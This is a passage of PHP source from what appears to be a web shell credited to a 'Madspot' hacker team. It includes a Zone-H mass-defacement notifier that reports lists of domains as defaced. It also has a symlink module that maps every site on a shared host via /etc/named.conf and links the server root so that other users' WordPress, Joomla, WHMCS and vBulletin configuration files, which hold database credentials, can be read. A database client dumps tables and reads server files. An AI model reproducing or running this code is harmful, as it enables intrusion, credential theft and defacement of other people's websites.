  1224.     proc_close($process);
  1225.      
  1226.     echo "</pre>";
  1227.     }
  1228.      
  1229.     }  
  1230.      echo "</div>";
  1231.      madfooter();
  1232.     }
  1233.     function ZoneH($url, $hacker, $hackmode,$reson, $site )
  1234.     {
  1235.             $k = curl_init();
  1236.             curl_setopt($k, CURLOPT_URL, $url);
  1237.             curl_setopt($k,CURLOPT_POST,true);
  1238.             curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  1239.             curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  1240.             curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  1241.             $kubra = curl_exec($k);
  1242.             curl_close($k);
  1243.             return $kubra;
  1244.     }
  1245.     function madzoneh()
  1246.     {
  1247.         madhead();
  1248.         if(!function_exists('curl_version'))
  1249.         {
  1250.             echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
  1251.         }
  1252.         echo "<div class=header><center><br>";
  1253.         echo '<h3><span>|ZONE-H MASS DEFACER |</span></h3>
  1254.       <form  onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
  1255.       <span>| Notifier |</span><br>
  1256.    <input type="text" name=defacer size="40" value="Attacker" /><br>
  1257.    <select name=hackmode>
  1258.    <option >--------SELECT--------</option>
  1259.    <option value="1">known vulnerability (i.e. unpatched system)</option>
  1260.    <option value="2" >undisclosed (new) vulnerability</option>
  1261.    <option value="3" >configuration / admin. mistake</option>
  1262.    <option value="4" >brute force attack</option>
  1263.    <option value="5" >social engineering</option>
  1264.    <option value="6" >Web Server intrusion</option>
  1265.    <option value="7" >Web Server external module intrusion</option>
  1266.    <option value="8" >Mail Server intrusion</option>
  1267.    <option value="9" >FTP Server intrusion</option>
  1268.    <option value="10" >SSH Server intrusion</option>
  1269.    <option value="11" >Telnet Server intrusion</option>
  1270.    <option value="12" >RPC Server intrusion</option>
  1271.    <option value="13" >Shares misconfiguration</option>
  1272.    <option value="14" >Other Server intrusion</option>
  1273.    <option value="15" >SQL Injection</option>
  1274.    <option value="16" >URL Poisoning</option>
  1275.    <option value="17" >File Inclusion</option>
  1276.    <option value="18" >Other Web Application bug</option>
  1277.    <option value="19" >Remote administrative panel access bruteforcing</option>
  1278.    <option value="20" >Remote administrative panel access password guessing</option>
  1279.    <option value="21" >Remote administrative panel access social engineering</option>
  1280.    <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1281.    <option value="23" >Access credentials through Man In the Middle attack</option>
  1282.    <option value="24" >Remote service password guessing</option>
  1283.    <option value="25" >Remote service password bruteforce</option>
  1284.    <option value="26" >Rerouting after attacking the Firewall</option>
  1285.    <option value="27" >Rerouting after attacking the Router</option>
  1286.    <option value="28" >DNS attack through social engineering</option>
  1287.    <option value="29" >DNS attack through cache poisoning</option>
  1288.    <option value="30" >Not available</option>
  1289.    </select><br>
  1290.    <select  >
  1291.    <option >Not available</option>
  1292.    <option value="1" >Heh...just for fun!</option>
  1293.    <option value="2" >Revenge against that website</option>
  1294.    <option value="3" >Political reasons</option>
  1295.    <option value="4" >As a challenge</option>
  1296.    <option value="5" >I just want to be the best defacer</option>
  1297.    <option value="6" >Patriotism</option>
  1298.    <option value="7" >Not available</option>
  1299.    </select><br>
  1300.    <textarea name=domain cols="50" rows="15">List Of Domains</textarea>
  1301.    <br>
  1302.    <input type="submit" value=">>" /></form>';
  1303.     if(isset($_POST['p1']) && isset($_POST['p2']))
  1304.     {
  1305.         $hacker =$_POST['p1'];
  1306.         $method =$_POST['p2'];
  1307.         $neden ="Not available";
  1308.         $site =$_POST['p3'];
  1309.        $i = 0;
  1310.        $sites = explode("\n", $site);
  1311.        echo "<pre class=ml1 style='margin-top:5px'>";
  1312.             while($i < count($sites))
  1313.             {
  1314.             if(substr($sites[$i], 0, 4) != "http")
  1315.             {
  1316.                             $sites[$i] = "http://".$sites[$i];
  1317.             }
  1318.             ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  1319.             echo "Site : ".$sites[$i]." Defaced !<br>";
  1320.             ++$i;
  1321.             }
  1322.          
  1323.         "Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
  1324.     }
  1325.     echo "</div>";
  1326.     madfooter();
  1327.        
  1328.     }
  1329.     function madspot()
  1330.     {
  1331.         madhead();
  1332.         echo "<div class=header>";
  1333.         echo "<pre>
  1334.      
  1335.                              |`-:_
  1336.     ,----....____            |    `+.                                                          
  1337.    (             ````----....|___   |
  1338.     \     _                      ````----....____
  1339.      \    _)  Coded By: Ikram Ali                ```---.._                      
  1340.       \                                                   \
  1341.     )`.\  )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )hh
  1342.    -'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `
  1343.      Madspot is a Team of professional Ethical Hackers From Pakistan.
  1344.      We have Years of  Experience in  Security, Penetration & Coding
  1345.      And can Break and Secure.
  1346.    
  1347.      Version 1.0
  1348.    
  1349.      Contact : http://www.madspot.net
  1350.    
  1351.      if you found bug contact our team
  1352.    
  1353.    
  1354.    
  1355.    
  1356.                 .=''=.            
  1357.                / _  _ \
  1358.               |  d  b  |
  1359.               \   /\   /
  1360.              ,/'-=\/=-'\,
  1361.             / /        \ \     -----------------------------
  1362.            | / Zahid    \ |    Madspot Digital Security Team
  1363.            \/ \ Rasheed/ \/    -----------------------------
  1364.                '.    .'
  1365.                _|`~~`|_
  1366.                /|\  /|\    
  1367.          
  1368.          .- <O> -.        .-====-.      ,-------.      .-=<>=-.
  1369.      /_-\'''/-_\      / / '' \ \     |,-----.|     /__----__\
  1370.     |/  o) (o  \|    | | ')(' | |   /,'-----'.\   |/ (')(') \|
  1371.      \   ._.   /      \ \    / /   {_/(') (')\_}   \   __   /
  1372.      ,>-_,,,_-<.       >'=jf='<     `.   _   .'    ,'--__--'.
  1373.    / Waqar.Khan  \    /        \     /'-___-'\    /    :|    \
  1374.    (_)     .     (_)  /  Ikram   \   / M-Usman \  (_)   :|   (_)
  1375.    \_-----'____--/  (_)  Ali   (_) (_)_______(_)   |___:|____|
  1376.     \___________/     |________|     \_______/     | Afrasiab|
  1377.    
  1378.    
  1379.          
  1380.    
  1381.    
  1382.       </pre></div>";
  1383.         madfooter();
  1384.        
  1385.         }
  1386.        
  1387.     function madsymlink()
  1388.     {
  1389.         madhead();
  1390.        
  1391.     $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1392.     $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
  1393.     $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );  
  1394.        
  1395.        
  1396.        
  1397.      
  1398.        echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
  1399.        
  1400.         if(isset($_POST['p1']) && $_POST['p1']=='website')
  1401.         {
  1402.             echo "<center>";
  1403.             $d0mains = @file("/etc/named.conf");
  1404.             if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
  1405.      
  1406.      
  1407.      
  1408.     echo "<table align=center class='main'  border=0  >
  1409.    
  1410.    <tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
  1411.     $count=1;
  1412.     foreach($d0mains as $d0main){
  1413.      
  1414.     if(@eregi("zone",$d0main)){
  1415.      
  1416.     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1417.      
  1418.     flush();
  1419.      
  1420.     if(strlen(trim($domains[1][0])) > 2){
  1421.      
  1422.     $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1423.      
  1424.     echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  1425.     $count++;
  1426.     }}}
  1427.     echo "</center></table>";
  1428.      }
  1429.      
  1430.      if(isset($_POST['p2']) && $_POST['p2']=='whole')
  1431.      {
  1432.        
  1433.        
  1434.         @set_time_limit(0);
  1435.        
  1436.         echo "<center>";
  1437.        
  1438.      
  1439.            
  1440.     @mkdir('sym',0777);
  1441.     $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1442.     $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  1443.     fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1444.     @symlink('/','sym/root');
  1445.     $IIIIIIIIIlIl = basename('_FILE_');
  1446.        
  1447.        
  1448.     $IIIIIIIIIllI = @file('/etc/named.conf');
  1449.     if(!$IIIIIIIIIllI)
  1450.     {
  1451.     echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1452.     }
  1453.     else
  1454.     {
  1455.     echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
  1456.     foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1457.     if(@eregi('zone',$IIIIIIIIIll1)){
  1458.     preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1459.     flush();
  1460.     if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1461.     $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1462.     $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1463.     @symlink('/','sym/root');
  1464.     $IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
  1465.     $IIIIIIII1I11 = '\.ir';
  1466.     $IIIIIIII1lII = '\.il';
  1467.     if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
  1468.     {
  1469.     $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
  1470.     }
  1471.     echo "
  1472.    <tr>
  1473.    
  1474.    <td>
  1475.    <a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
  1476.    </td>
  1477.    
  1478.    <td>
  1479.    '.$IIIIIIIII1I1['name']."
  1480.    </td>
  1481.    
  1482.    <td>
  1483.    <a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
  1484.    </td>
  1485.    
  1486.    
  1487.    </tr>";
  1488.     flush();
  1489.     }
  1490.     }
  1491.     }
  1492.     }
  1493.        
  1494.     echo "</center></table>";    
  1495.        
  1496.      }
  1497.      
  1498.      
  1499.      
  1500.      if(isset($_POST['p3']) && $_POST['p3']=='config')
  1501.      
  1502.      
  1503.      {
  1504.       echo "<center>";
  1505.     @mkdir('sym',0777);
  1506.     $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1507.     $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  1508.     @fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1509.     @symlink('/','sym/root');
  1510.     $IIIIIIIIIlIl = basename('_FILE_');
  1511.      
  1512.        
  1513.        $IIIIIIIIIllI = @file('/etc/named.conf');
  1514.     if(!$IIIIIIIIIllI)
  1515.     {
  1516.     echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1517.     }
  1518.     else
  1519.     {
  1520.     echo "
  1521.    <table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
  1522.     foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1523.     if(@eregi('zone',$IIIIIIIIIll1)){
  1524.     preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1525.     flush();
  1526.     if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1527.     $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1528.     $IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
  1529.     $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
  1530.     $IIIIIIIII11l=$IIIIIIIII11I[0];
  1531.     $IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
  1532.     $IIIIIIIIlIII=get_headers($IIIIIIIII111);
  1533.     $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
  1534.     $IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
  1535.     $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
  1536.     $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
  1537.     $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
  1538.     $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
  1539.     $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
  1540.     $IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
  1541.     $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
  1542.     $IIIIIIIIllIl=$IIIIIIIIllII[0];
  1543.     $IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
  1544.     $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
  1545.     $IIIIIIIIllll=$IIIIIIIIlllI[0];
  1546.     $IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
  1547.     $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
  1548.     $IIIIIIIIll1l=$IIIIIIIIll1I[0];
  1549.     $IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
  1550.     $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
  1551.     $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
  1552.     $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
  1553.     $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
  1554.     $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
  1555.     $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1556.     $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
  1557.     $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
  1558.     $IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
  1559.     $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
  1560.     $IIIIIIII1III=$IIIIIIIIl111[0];
  1561.     $IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1562.     $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
  1563.     $IIIIIIII1IlI=$IIIIIIII1II1[0];
  1564.     $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
  1565.     $IIIIIIII1I1I='&nbsp;';
  1566.     if (strpos($IIIIIIIII11l,'200') == true )
  1567.     {
  1568.     $IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
  1569.     }
  1570.     elseif (strpos($IIIIIIIIlIIl,'200') == true)
  1571.     {
  1572.     $IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
  1573.     }
  1574.     elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )
  1575.     {
  1576.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
  1577.     }
  1578.     elseif (strpos($IIIIIIIIl1lI,'200')  == true)
  1579.     {
  1580.     $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
  1581.     }
  1582.     elseif (strpos($IIIIIIIIl11I,'200')  == true)
  1583.     {
  1584.     $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
  1585.     }
  1586.     elseif (strpos($IIIIIIIIlIll,'200')  == true)
  1587.     {
  1588.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
  1589.     }
  1590.     elseif (strpos($IIIIIIIIlI1l,'200')  == true)
  1591.     {
  1592.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
  1593.     }
  1594.     elseif (strpos($IIIIIIIIllIl,'200')  == true)
  1595.     {
  1596.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
  1597.     }
  1598.     elseif (strpos($IIIIIIIIllll,'200')  == true)
  1599.     {
  1600.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
  1601.     }
  1602.     elseif (strpos($IIIIIIIIll1l,'200')  == true)
  1603.     {
  1604.     $IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
  1605.     }
  1606.     else
  1607.     {
  1608.     continue;
  1609.     }
  1610.     $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1611.     echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
  1612.    <td>'.$IIIIIIII1I1I.'</td></tr>';flush();
  1613.     }
  1614.     }
  1615.     }
  1616.     }
  1617.     echo "</center></table>";  
  1618.        
  1619.      }
  1620.        
  1621.         echo "</div>";
  1622.         madfooter();
  1623.        
  1624.     }    
  1625.      
  1626.      
  1627.     function madsql()
  1628.     {
  1629.        
  1630.        
  1631.         class DbClass {
  1632.                     var $type;
  1633.                     var $link;
  1634.                     var $res;
  1635.                     function DbClass($type) {
  1636.                             $this->type = $type;
  1637.                     }
  1638.                     function connect($host, $user, $pass, $dbname){
  1639.                             switch($this->type)     {
  1640.                                     case 'mysql':
  1641.                                             if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1642.                                             break;
  1643.                                     case 'pgsql':
  1644.                                             $host = explode(':', $host);
  1645.                                             if(!$host[1]) $host[1]=5432;
  1646.                                             if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1647.                                             break;
  1648.                             }
  1649.                             return false;
  1650.                     }
  1651.                     function selectdb($db) {
  1652.                             switch($this->type)     {
  1653.                                     case 'mysql':
  1654.                                             if (@mysql_select_db($db))return true;
  1655.                                             break;
  1656.                             }
  1657.                             return false;
  1658.                     }
  1659.                     function query($str) {
  1660.                             switch($this->type) {
  1661.                                     case 'mysql':
  1662.                                             return $this->res = @mysql_query($str);
  1663.                                             break;
  1664.                                     case 'pgsql':
  1665.                                             return $this->res = @pg_query($this->link,$str);
  1666.                                             break;
  1667.                             }
  1668.                             return false;
  1669.                     }
  1670.                     function fetch() {
  1671.                             $res = func_num_args()?func_get_arg(0):$this->res;
  1672.                             switch($this->type)     {
  1673.                                     case 'mysql':
  1674.                                             return @mysql_fetch_assoc($res);
  1675.                                             break;
  1676.                                     case 'pgsql':
  1677.                                             return @pg_fetch_assoc($res);
  1678.                                             break;
  1679.                             }
  1680.                             return false;
  1681.                     }
  1682.                     function listDbs() {
  1683.                             switch($this->type)     {
  1684.                                     case 'mysql':
  1685.                             return $this->query("SHOW databases");
  1686.                                     break;
  1687.                                     case 'pgsql':
  1688.                                             return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1689.                                     break;
  1690.                             }
  1691.                             return false;
  1692.                     }
  1693.                     function listTables() {
  1694.                             switch($this->type)     {
  1695.                                     case 'mysql':
  1696.                                             return $this->res = $this->query('SHOW TABLES');
  1697.                                     break;
  1698.                                     case 'pgsql':
  1699.                                             return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1700.                                     break;
  1701.                             }
  1702.                             return false;
  1703.                     }
  1704.                     function error() {
  1705.                             switch($this->type)     {
  1706.                                     case 'mysql':
  1707.                                             return @mysql_error();
  1708.                                     break;
  1709.                                     case 'pgsql':
  1710.                                             return @pg_last_error();
  1711.                                     break;
  1712.                             }
  1713.                             return false;
  1714.                     }
  1715.                     function setCharset($str) {
  1716.                             switch($this->type)     {
  1717.                                     case 'mysql':
  1718.                                             if(function_exists('mysql_set_charset'))
  1719.                                                     return @mysql_set_charset($str, $this->link);
  1720.                                             else
  1721.                                                     $this->query('SET CHARSET '.$str);
  1722.                                             break;
  1723.                                     case 'pgsql':
  1724.                                             return @pg_set_client_encoding($this->link, $str);
  1725.                                             break;
  1726.                             }
  1727.                             return false;
  1728.                     }
  1729.                     function loadFile($str) {
  1730.                             switch($this->type)     {
  1731.                                     case 'mysql':
  1732.                                             return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1733.                                     break;
  1734.                                     case 'pgsql':
  1735.                                             $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1736.                                             $r=array();
  1737.                                             while($i=$this->fetch())
  1738.                                                     $r[] = $i['file'];
  1739.                                             $this->query('drop table wso2');
  1740.                                             return array('file'=>implode("\n",$r));
  1741.                                     break;
  1742.                             }
  1743.                             return false;
  1744.                     }
  1745.                     function dump($table, $fp = false) {
  1746.                             switch($this->type)     {
  1747.                                     case 'mysql':
  1748.                                             $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1749.                                             $create = mysql_fetch_array($res);
  1750.                                             $sql = $create[1].";\n";
  1751.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1752.                                             $this->query('SELECT * FROM `'.$table.'`');
  1753.                         $head = true;
  1754.                                             while($item = $this->fetch()) {
  1755.                                                     $columns = array();
  1756.                                                     foreach($item as $k=>$v) {
  1757.                                 if($v == null)
  1758.                                     $item[$k] = "NULL";
  1759.                                 elseif(is_numeric($v))
  1760.                                     $item[$k] = $v;
  1761.                                 else
  1762.                                     $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1763.                                                             $columns[] = "`".$k."`";
  1764.                                                     }
  1765.                             if($head) {
  1766.                                 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1767.                                 $head = false;
  1768.                             } else
  1769.                                 $sql = "\n\t,(".implode(", ", $item).')';
  1770.                             if($fp) fwrite($fp, $sql); else echo($sql);
  1771.                                             }
  1772.                         if(!$head)
  1773.                             if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1774.                                     break;
  1775.                                     case 'pgsql':
  1776.                                             $this->query('SELECT * FROM '.$table);
  1777.                                             while($item = $this->fetch()) {
  1778.                                                     $columns = array();
  1779.                                                     foreach($item as $k=>$v) {
  1780.                                                             $item[$k] = "'".addslashes($v)."'";
  1781.                                                             $columns[] = $k;
  1782.                                                     }
  1783.                             $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1784.                             if($fp) fwrite($fp, $sql); else echo($sql);
  1785.                                             }
  1786.                                     break;
  1787.                             }
  1788.                             return false;
  1789.                     }
  1790.             };
  1791.             $db = new DbClass($_POST['type']);
  1792.             if(@$_POST['p2']=='download') {
  1793.                     $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1794.                     $db->selectdb($_POST['sql_base']);
  1795.             switch($_POST['charset']) {
  1796.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1797.                 case "UTF-8": $db->setCharset('utf8'); break;
  1798.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1799.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1800.                 case "cp866": $db->setCharset('cp866'); break;
  1801.             }
  1802.             if(empty($_POST['file'])) {
  1803.                 ob_start("ob_gzhandler", 4096);
  1804.                 header("Content-Disposition: attachment; filename=dump.sql");
  1805.                 header("Content-Type: text/plain");
  1806.                 foreach($_POST['tbl'] as $v)
  1807.                                     $db->dump($v);
  1808.                 exit;
  1809.             } elseif($fp = @fopen($_POST['file'], 'w')) {
  1810.                 foreach($_POST['tbl'] as $v)
  1811.                     $db->dump($v, $fp);
  1812.                 fclose($fp);
  1813.                 unset($_POST['p2']);
  1814.             } else
  1815.                 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1816.             }
  1817.             madhead();
  1818.             echo "
  1819.    <div class=header>
  1820.    <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1821.    <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1822.    <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1823.    <td><select name='type'><option value='mysql' ";
  1824.         if(@$_POST['type']=='mysql')echo 'selected';
  1825.     echo ">MySql</option><option value='pgsql' ";
  1826.     if(@$_POST['type']=='pgsql')echo 'selected';
  1827.     echo ">PostgreSql</option></select></td>
  1828.    <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1829.    <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1830.    <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1831.             $tmp = "<input type=text name=sql_base value=''>";
  1832.             if(isset($_POST['sql_host'])){
  1833.                     if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1834.                             switch($_POST['charset']) {
  1835.                                     case "Windows-1251": $db->setCharset('cp1251'); break;
  1836.                                     case "UTF-8": $db->setCharset('utf8'); break;
  1837.                                     case "KOI8-R": $db->setCharset('koi8r'); break;
  1838.                                     case "KOI8-U": $db->setCharset('koi8u'); break;
  1839.                                     case "cp866": $db->setCharset('cp866'); break;
  1840.                             }
  1841.                             $db->listDbs();
  1842.                             echo "<select name=sql_base><option value=''></option>";
  1843.                             while($item = $db->fetch()) {
  1844.                                     list($key, $value) = each($item);
  1845.                                     echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1846.                             }
  1847.                             echo '</select>';
  1848.                     }
  1849.                     else echo $tmp;
  1850.             }else
  1851.                     echo $tmp;
  1852.             echo "</td>
  1853.                                    <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1854.                   <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1855.                            </tr>
  1856.                    </table>
  1857.                    <script>
  1858.               s_db='".@addslashes($_POST['sql_base'])."';
  1859.               function fs(f) {
  1860.                   if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1861.                       if(f.p1) f.p1.value='';
  1862.                       if(f.p2) f.p2.value='';
  1863.                       if(f.p3) f.p3.value='';
  1864.                   }
  1865.               }
  1866.                            function st(t,l) {
  1867.                                    d.sf.p1.value = 'select';
  1868.                                    d.sf.p2.value = t;
  1869.                   if(l && d.sf.p3) d.sf.p3.value = l;
  1870.                                    d.sf.submit();
  1871.                            }
  1872.                            function is() {
  1873.                                    for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1874.                                            d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1875.                            }
  1876.                    </script>";
  1877.             if(isset($db) && $db->link){
  1878.                     echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1879.                             if(!empty($_POST['sql_base'])){
  1880.                                     $db->selectdb($_POST['sql_base']);
  1881.                                     echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1882.                                     $tbls_res = $db->listTables();
  1883.                                     while($item = $db->fetch($tbls_res)) {
  1884.                                             list($key, $value) = each($item);
  1885.                         if(!empty($_POST['sql_count']))
  1886.                             $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1887.                                             $value = htmlspecialchars($value);
  1888.                                             echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1889.                                     }
